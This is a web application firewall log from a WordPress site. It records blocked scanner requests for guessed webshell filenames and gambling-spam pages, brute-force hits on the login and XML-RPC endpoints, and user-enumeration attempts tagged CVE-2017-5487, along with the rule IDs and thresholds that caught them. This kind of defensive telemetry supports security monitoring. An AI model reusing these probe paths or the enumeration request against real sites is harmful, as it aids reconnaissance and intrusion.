[Fri Feb 13 09:43:46.336836 2026] [:error] [pid 49224:tid 49284] [client 62.84.185.67:1924] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aY6B0tiAvPoWmw5YhwkUZwAAAFE"]
[Fri Feb 13 09:43:48.787672 2026] [:error] [pid 49224:tid 49277] [client 62.84.185.67:1926] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aY6B1NiAvPoWmw5YhwkUbgAAAEo"]
[Fri Feb 13 09:43:51.378051 2026] [:error] [pid 49225:tid 49301] [client 62.84.185.67:1940] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aY6B1zwH8-zGxtAd3jtYGwAAAIc"]
[Fri Feb 13 09:43:53.976909 2026] [:error] [pid 49225:tid 49303] [client 62.84.185.67:1944] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aY6B2TwH8-zGxtAd3jtYHwAAAIk"]
[Fri Feb 13 09:43:56.455561 2026] [:error] [pid 49335:tid 49343] [client 62.84.185.67:52674] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aY6B3Kp--SFY2nwOiqnM7AAAAMY"]
[Fri Feb 13 09:43:59.065854 2026] [:error] [pid 49225:tid 49295] [client 62.84.185.67:52682] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aY6B3zwH8-zGxtAd3jtYJQAAAIE"]
[Fri Feb 13 09:44:01.676021 2026] [:error] [pid 49225:tid 49297] [client 62.84.185.67:52686] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aY6B4TwH8-zGxtAd3jtYMAAAAIM"]
[Fri Feb 13 09:45:03.993827 2026] [:error] [pid 49225:tid 49312] [client 62.84.185.67:19154] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aY6CHzwH8-zGxtAd3jtZJwAAAJI"]
[Fri Feb 13 09:45:06.909589 2026] [:error] [pid 49225:tid 49312] [client 62.84.185.67:6968] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aY6CIjwH8-zGxtAd3jtZMQAAAJI"]
[Fri Feb 13 09:45:09.398381 2026] [:error] [pid 49225:tid 49304] [client 62.84.185.67:6984] [client 62.84.185.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aY6CJTwH8-zGxtAd3jtZOQAAAIo"]
[Fri Feb 13 13:58:42.894289 2026] [:error] [pid 49225:tid 49295] [client 37.140.223.52:40261] [client 37.140.223.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aY69kjwH8-zGxtAd3ju6ZAAAAIE"]
[Fri Feb 13 15:48:11.121295 2026] [:error] [pid 18097:tid 18119] [client 74.248.97.82:47107] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x2x.php"] [unique_id "aY7XO3FzYiQ_BfaDDlbwmAAAAZQ"]
[Fri Feb 13 15:48:11.817217 2026] [:error] [pid 47575:tid 47588] [client 74.248.97.82:35856] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x2x.php"] [unique_id "aY7XOwIPBuXb07mA_mSQSAAAAsg"]
[Fri Feb 13 15:48:12.628672 2026] [:error] [pid 47080:tid 47111] [client 74.248.97.82:44493] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x2x.php"] [unique_id "aY7XPEbWJwYCVF39z6vvJAAAAdc"]
[Fri Feb 13 15:48:13.439335 2026] [:error] [pid 18097:tid 18100] [client 74.248.97.82:28611] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x2x.php"] [unique_id "aY7XPXFzYiQ_BfaDDlbwmwAAAYE"]
[Fri Feb 13 15:48:14.135903 2026] [:error] [pid 49225:tid 49305] [client 74.248.97.82:24781] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aY7XPjwH8-zGxtAd3jvTzAAAAIs"]
[Fri Feb 13 15:48:14.768363 2026] [:error] [pid 49225:tid 49312] [client 74.248.97.82:41600] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aY7XPjwH8-zGxtAd3jvTzQAAAJI"]
[Fri Feb 13 15:48:15.735143 2026] [:error] [pid 49223:tid 49255] [client 74.248.97.82:35840] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aY7XPx8A_fZBamNLnfUVKgAAABc"]
[Fri Feb 13 15:48:16.482986 2026] [:error] [pid 46821:tid 46846] [client 74.248.97.82:26038] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aY7XQI6G1N5YSq0J0gfjWAAAAVc"]
[Fri Feb 13 15:48:17.198627 2026] [:error] [pid 49335:tid 49355] [client 74.248.97.82:50409] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aY7XQap--SFY2nwOiqk5oQAAANI"]
[Fri Feb 13 15:48:18.523419 2026] [:error] [pid 49223:tid 49233] [client 74.248.97.82:28645] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aY7XQh8A_fZBamNLnfUVMAAAAAE"]
[Fri Feb 13 15:48:19.276790 2026] [:error] [pid 46821:tid 46830] [client 74.248.97.82:29590] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aY7XQ46G1N5YSq0J0gfjWgAAAUc"]
[Fri Feb 13 15:48:20.174387 2026] [:error] [pid 49335:tid 49359] [client 74.248.97.82:56138] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aY7XRKp--SFY2nwOiqk5pgAAANY"]
[Fri Feb 13 15:48:20.913593 2026] [:error] [pid 49223:tid 49248] [client 74.248.97.82:61014] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aY7XRB8A_fZBamNLnfUVNQAAABA"]
[Fri Feb 13 15:48:21.636106 2026] [:error] [pid 47143:tid 47217] [client 74.248.97.82:44527] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aY7XRchV30NbMarHJLsVPgAAAkM"]
[Fri Feb 13 15:48:22.264331 2026] [:error] [pid 46821:tid 46837] [client 74.248.97.82:51640] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aY7XRo6G1N5YSq0J0gfjWwAAAU4"]
[Fri Feb 13 15:48:22.813132 2026] [:error] [pid 47143:tid 47226] [client 74.248.97.82:50428] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aY7XRshV30NbMarHJLsVQAAAAkw"]
[Fri Feb 13 15:48:23.413764 2026] [:error] [pid 47358:tid 47388] [client 74.248.97.82:50414] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aY7XR8QFBuVVUQTESUzh4wAAApY"]
[Fri Feb 13 15:48:23.968422 2026] [:error] [pid 18097:tid 18114] [client 74.248.97.82:47154] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aY7XR3FzYiQ_BfaDDlbwoAAAAY8"]
[Fri Feb 13 15:48:24.728499 2026] [:error] [pid 18097:tid 18113] [client 74.248.97.82:51636] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aY7XSHFzYiQ_BfaDDlbwogAAAY4"]
[Fri Feb 13 15:48:25.329216 2026] [:error] [pid 51243:tid 51260] [client 74.248.97.82:5646] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aY7XScim7ZTAHzi7xZuhGQAAAQ8"]
[Fri Feb 13 15:48:25.973319 2026] [:error] [pid 47143:tid 47220] [client 74.248.97.82:24830] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aY7XSchV30NbMarHJLsVQwAAAkY"]
[Fri Feb 13 15:48:27.086708 2026] [:error] [pid 51243:tid 51264] [client 74.248.97.82:29619] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aY7XS8im7ZTAHzi7xZuhHQAAARM"]
[Fri Feb 13 15:48:27.667376 2026] [:error] [pid 47358:tid 47368] [client 74.248.97.82:24788] [client 74.248.97.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aY7XS8QFBuVVUQTESUzh5gAAAoM"]
[Fri Feb 13 18:34:03.242072 2026] [:error] [pid 47358:tid 47361] [client 34.73.111.84:58889] [client 34.73.111.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.111.84, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY7-G8QFBuVVUQTESUwDRAAAAoA"]
[Fri Feb 13 18:34:06.039997 2026] [:error] [pid 47358:tid 47376] [client 34.73.111.84:58889] [client 34.73.111.84] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY7-HsQFBuVVUQTESUwDSAAAAoo"]
[Fri Feb 13 18:34:07.907874 2026] [:error] [pid 47358:tid 47390] [client 34.73.111.84:58889] [client 34.73.111.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.73.111.84, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY7-H8QFBuVVUQTESUwDSgAAApg"]
[Fri Feb 13 22:08:24.424230 2026] [:error] [pid 51243:tid 51266] [client 136.113.227.115:49184] [client 136.113.227.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.227.115, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8wWMim7ZTAHzi7xZvgLQAAARU"]
[Fri Feb 13 22:08:27.273684 2026] [:error] [pid 51243:tid 51267] [client 136.113.227.115:49184] [client 136.113.227.115] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY8wW8im7ZTAHzi7xZvgMgAAARY"]
[Fri Feb 13 22:08:29.265763 2026] [:error] [pid 51243:tid 51261] [client 136.113.227.115:49184] [client 136.113.227.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.227.115, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY8wXcim7ZTAHzi7xZvgNAAAARA"]
[Sat Feb 14 00:16:30.599049 2026] [:error] [pid 47080:tid 47088] [client 34.61.100.135:57295] [client 34.61.100.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.100.135, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY9OXkbWJwYCVF39z6uOSgAAAcA"]
[Sat Feb 14 00:16:32.543683 2026] [:error] [pid 47080:tid 47103] [client 34.61.100.135:57295] [client 34.61.100.135] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY9OYEbWJwYCVF39z6uOUAAAAc8"]
[Sat Feb 14 00:16:34.585214 2026] [:error] [pid 47080:tid 47110] [client 34.61.100.135:57295] [client 34.61.100.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.100.135, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aY9OYkbWJwYCVF39z6uOVAAAAdY"]
[Sat Feb 14 02:12:39.421447 2026] [:error] [pid 47358:tid 47373] [client 161.97.66.6:41350] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aY9pl8QFBuVVUQTESUxQ0gAAAog"]
[Sat Feb 14 02:12:41.955732 2026] [:error] [pid 47143:tid 47234] [client 161.97.66.6:34158] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aY9pmchV30NbMarHJLt6vAAAAlQ"]
[Sat Feb 14 02:12:44.396108 2026] [:error] [pid 49335:tid 49358] [client 161.97.66.6:51954] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aY9pnKp--SFY2nwOiqmmLgAAANU"]
[Sat Feb 14 02:12:46.808857 2026] [:error] [pid 47143:tid 47186] [client 161.97.66.6:51964] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aY9pnshV30NbMarHJLt6xAAAAkE"]
[Sat Feb 14 02:12:49.319853 2026] [:error] [pid 47080:tid 47095] [client 161.97.66.6:51976] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aY9poUbWJwYCVF39z6uuAwAAAcc"]
[Sat Feb 14 02:12:51.786396 2026] [:error] [pid 18097:tid 18106] [client 161.97.66.6:51986] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aY9po3FzYiQ_BfaDDlZ8EwAAAYc"]
[Sat Feb 14 02:12:54.381753 2026] [:error] [pid 49225:tid 49310] [client 161.97.66.6:42168] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aY9ppjwH8-zGxtAd3jtKawAAAJA"]
[Sat Feb 14 02:12:56.984252 2026] [:error] [pid 47358:tid 47361] [client 161.97.66.6:42172] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aY9pqMQFBuVVUQTESUxQ4gAAAoA"]
[Sat Feb 14 02:12:59.424797 2026] [:error] [pid 51243:tid 51249] [client 161.97.66.6:42178] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aY9pq8im7ZTAHzi7xZsC6gAAAQQ"]
[Sat Feb 14 02:13:01.880304 2026] [:error] [pid 47358:tid 47389] [client 161.97.66.6:42192] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aY9prcQFBuVVUQTESUxQ5gAAApc"]
[Sat Feb 14 02:13:04.633180 2026] [:error] [pid 47143:tid 47216] [client 161.97.66.6:47494] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aY9psMhV30NbMarHJLt60wAAAkI"]
[Sat Feb 14 02:13:07.148141 2026] [:error] [pid 47358:tid 47368] [client 161.97.66.6:47500] [client 161.97.66.6] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aY9ps8QFBuVVUQTESUxQ5wAAAoM"]
